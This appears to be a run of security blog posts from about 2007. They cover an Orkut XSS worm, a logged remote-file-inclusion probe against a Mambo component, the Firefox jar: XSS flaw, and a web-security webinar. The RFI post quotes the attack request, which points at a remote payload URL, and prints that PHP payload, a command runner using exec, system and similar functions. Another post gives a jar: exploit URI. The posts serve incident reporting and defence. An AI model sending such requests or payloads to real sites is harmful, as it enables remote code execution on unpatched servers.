webapps

Seems like Orkut (the google social networking site) got hit with a pretty nasty XSS worm.

It did not do anything malicious (fortunately) to the users whose profiles were infected, but probably caused a quite high load on the Orkut systems and joined all infected users into a group called “Infectados pelo Vírus do Orkut“.

The description of that particular group described the motivation for the hack and the main point seems to be the illustration of the insecurity in web applications such as Orkut.

For more information, including source code for the virus, see: Antrix.net or GNUCITIZEN’s posts on the subject.

These kinds of issues are raising serious concerns over services such as “Google Docs” (online office applications) and the upcoming gDrive and one might pose the question:

Do you trust Google with your data?

** Update **

More reading regarding this incident:

Sylvan von Stuppe - Orkut Worm
Arbor Networks - Orkut XSS Worm
SophosLabs - Large scale Orkut virus outbreak not cool
TrendMicro - Orkut/Google worms Compromise over 400,000 accounts

Cheers,

On the 11′th of December (04:17:52) I recieved the following request to this site:

“GET /includes/search.php?GlobalSettings[templatesDirectory]=http://www.asoc-posidonia.es/pr.txt?? HTTP/1.1″

Looks like someone is trying to exploit a RFI vulnerability in Pearl for Mambo. This particular issue was disclosed over a year ago and they are still scanning for it… Must be a lot of unpatched fish in the internet tubes…

The file that is supposed to be included is live and contains the following:

echo "549821347819481<br>";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd."<br>";
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;

The attacking host was:

80.237.200.81 (jam.seppenra.de)
Windows CE, Generic Gecko
Cologne, Germany,DE,50.9333,6.95
Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007

What about doing error checking verifying that the target contains vulnerable code? Doesn’t take much time and seems like a reasonable thing to do if you want to stay (at least a little bit) under the radar.

Anyhow, this gave me a good idea which I will present in a future post.

All involved system owners has been notified.

For those of you that has not been following the computer security news and blogs there is a new vulnerability in town, and it’s nasty.

The problem lies in the jar: protocol implementation used by Firefox and it enables an attacker to conduct XSS and gives them almost limitless possibilitys for malware hosting.

This is an example URI which exploits the issue:

jar:http://www.icmpecho.com/myjarshrine/yarihooo.jpg!/malwareloadingscript.html

Now, instead of copying others work which they have probably spent hours or more on to explain the issue in full, I’ll give you a short recap of the happenings and more and more exposing blog posts:

---

2007-02-08 - Jesse Ruderman logs the bug in the Mozilla bugzilla tracker. It remains unpatched and not widely known until…2007-11-07 - Researcher pdp discusses the issue and potential impact at GNUCitizen. This opens this bug up to a whole new audience and…2007-11-10 - Beford illustrates the seriousness of this issue and issues in the same family by targeting Google and Gmail and posts a new bug entry.2007-11-10 - And then Mario posts at GNUCitizen about other attack vectors including malware- and exploit-hosting.

---

During these last days we have also seen some very strange recommendations from leading scurity experts at ZDNet, Secunia and US Cert (and one at The register as well) as the most excellent Giorgio over at the Hackademix blog.

The problems with the recommendations given by these persons and/or organisations is mainly that the recommend blocking URI’s containing JAR: in webfilters and deep packet inspecting firewalls or avoid following “jar:” links.You should understand why this would be a total waste of time if you have read the above articles and in particular Giorgio’s comments on the issue.

Also you should know why if you have seen one page load another like in most web based exploits (Including the one on the Swedish Parliament’s websites this week (swedish link, sorry)). My feeling is that the first advisories were rushed out “to be first in the corporate sector” and sloppy research took its toll.

If you do want to protect yourselves for real, you might wanna download and install the NoScript extension to Firefox which also handles JAR.

Happy times!

I downloaded and listened in on the web application security talk that Jeremiah Grossman (WhiteHat Security (coordinators of the talk), Robert “RSnake” Hansen (SecTheory), Chris Paggen (Cisco) and Jordan Wiens (Network Computing) had. This was an unscripted roundtable discussion and it was very interesting to me, as I’m not so skilled in the areas that they discussed (getting there, more on that in later posts). Full info on the talk can be found at:

http://jeremiahgrossman.blogspot.com/2007/11/live-online-roundtable-episode-1.html

For me, the part of the talk dealing with WAF’s (web application firewalls) and normalization of input was quite interesting. As discussed, there really is no good way to do it if the customer or developer do not know they way his server and webapps handles input (and output for that matter) and which features are needed. However, if there is good documentation of the webapp that is to be protected, you might get away with some normalization (and then why not do it). WAF’s in general is not something you “just plug in” and some more fine tuning will most likely be needed if normalization is something that you want to do.

Another thing that i thought was actually more interesting, was hearing these people that are specialists on web security discuss the PCI DSS and what their experience and comments on it were.

One good thing with the PCI DSS is that for an CTO/Administrator/Security engineer that is really dedicated to providing good security for his company and it’s clients, the standard can be used to push up security budgets and raise awareness in upper-management. However, the money will also have to be well spent, and that’s where some of the participants see a problem.

That problem is that companys and departments with dedicated budgets will try to hold down costs, sometimes even if they have the money needed for a thorough security solution, all for increased profit. This in turn might lead them to cheaper and less reliable certified scanners and vulnerability testers, that might not find holes where there actually are plenty. What does this lead to? Well, not much for those trying to fill the PCI’s requirements, as they will still pass (AND with no problems detected, wohooo). The cost, as usual, ends up with the customer that gets his or hers creditcard-data stolen from the site.

An update on this were posted by RSnake (one of the participants) on the 11/11-07.

Another topic regarding the PCI DSS that was discussed was it’s unclarity in certain paragraphs that might lead to total or partial circumvention of the upholding of the standard. No comments regarding this but it does indeed sound pretty serious if that’s the case

More information on the PCI DSS here. And I also recommend you all to visit the link in the top of this post and listen to the whole webinar.

Cheers,